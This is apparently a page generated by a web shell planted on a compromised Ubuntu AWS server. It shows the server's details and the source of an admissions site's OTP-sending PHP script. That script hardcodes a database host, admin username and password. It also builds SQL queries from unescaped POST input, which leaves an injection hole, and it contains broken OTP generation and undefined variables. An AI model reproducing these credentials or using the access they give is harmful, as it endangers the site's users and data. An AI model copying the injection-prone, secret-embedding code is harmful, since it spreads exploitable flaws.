0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.145.89.181


Current Path : /proc/thread-self/root/var/www/html/admission/src/
Upload File :
Current File : //proc/thread-self/root/var/www/html/admission/src/sendOTP.php

<?php   
include ('/var/www/html/sms/sendsmsapiv1.php');
include("sendGridMail.php");

$servername = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com";
$username   = "admin";
$password  = "T0g3th3r@all";
$database = "logisys3_demo";
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
ini_set('display_errors', 'on');

$conn = new  mysqli($servername,$username,$password,$database);

if(!$conn) 
{
    die("Connection failed: " . mysqli_connect_error());
}

    $FMOBILE = $_POST["fmob"];

    $query = "select * from memhead where FMOBILE='{$FMOBILE}'";
    
    $result1 = mysqli_query($conn,$query);
    $row = mysqli_fetch_assoc($result1);
    $count = mysqli_num_rows($result1);
   
    if($FCNTCODE === "91"){
        if($count == 1){
            $emailsent = $FEMAIL;
            $univcode = "098";
             
            $onldate = date('d-m-Y');
            $emlotp = rand(100000, 90000);
            $message = "<html>";
            $message .= "<body>";
            $message .= "<style>";
            $message .= ".mail_tbl td{text-align:left; padding:2px; font-size:12px; 
                                font-family: Verdana, Arial, Helvetica, sans-serif;}";
            $message .= "</style>";
            // $message .= "<center><img src='{}' height='100px' width='200px'/></center>";
            $message .= "<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif; text-align:center; >                
                        B.K. Mariappa's Charities</p>";
            $message .= "<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif; text-align:right'>Date :" . " $onldate " . "</p>";
            $message .= "<p>Dear Sir/Madam,<br></p>";

            $message .= "<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>
                            Your verification OTP {$emlotp}</p>";
            $message .="<br/>";


            $message .= "<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>
                            Thanking You,</p>";

            $message .= "</body>";
            $message .= "</html>";
            
            $subject = strtoupper("Subject :Email Verification OTP");
            $from = "";

            $resp = sendGridMail($emailsent, $subject, $message, $univcode);

            date_default_timezone_set('Asia/Kolkata');
            $time =  date("h:i A");
            $otp = rand(100000, 90000);
            $smsotp = "From BKMH: Dear User, OTP for Registration is $otp. sent at {$time} - Uniclare";
            $sms = new SMS('098', 'OTP');
            $sms->sendIndvidualSms($FMOBILE, $smsotp, '900', 'PGET');
            
            $smsresp = 'Sent';
            $row["sms"] = $smsresp;

            $query = "update memhead set FMOBOTP = '{$otp}', FEMAILOTP = '{$emlotp}' where FMOBILE='{$FMOBILE}'";
            
            $result = mysqli_query($conn, $query);

            if($result){
                $row1["status"] = 'success';
                $row1["msg"] = 'OTP Sent To Your Mobile No. Please Verify';
                echo json_encode($row1);
            }else{
                $row1["status"] = 'invalid';
                $row1["msg"] = 'Registered Failed';
                echo json_encode($row1);
            }
            
        }else{
            $row2['status'] = 'invalid';
            $row2['msg'] = 'Registered Failed';
            echo json_encode($row2);
        }
    }else{
            $emailsent = $FEMAIL;
            $univcode = "098";
             
            $onldate = date('d-m-Y');
            $emlotp = rand(100000, 90000);
            $message = "<html>";
            $message .= "<body>";
            $message .= "<style>";
            $message .= ".mail_tbl td{text-align:left; padding:2px; font-size:12px; 
                                font-family: Verdana, Arial, Helvetica, sans-serif;}";
            $message .= "</style>";
            // $message .= "<center><img src='{}' height='100px' width='200px'/></center>";
            $message .= "<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif; text-align:center; >                
                        B.K. Mariappa's Charities</p>";
            $message .= "<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif; text-align:right'>Date :" . " $onldate " . "</p>";
            $message .= "<p>Dear Sir/Madam,<br><br><br></p>";

            $message .= "<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>
                            Your verification OTP {$emlotp}</p>";
            $message .="<br/>";


            $message .= "<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>
                            Thanking You,</p>";

            $message .= "</body>";
            $message .= "</html>";
            
            $subject = strtoupper("Subject :Email Verification OTP");
            $from = "";

            $resp = sendGridMail($emailsent, $subject, $message, $univcode);

            $query = "update memhead set FEMAILOTP = '{$emlotp}' where FMOBILE='{$FMOBILE}'";
            
            $result = mysqli_query($conn, $query);

            if($result){
                $row1["status"] = 'success';
                $row1["msg"] = 'OTP Sent To Your Mobile No. Please Verify';
                echo json_encode($row1);
            }else{
                $row1["status"] = 'invalid';
                $row1["msg"] = 'Registered Failed';
                echo json_encode($row1);
            }
    }

mysqli_close($conn);
?>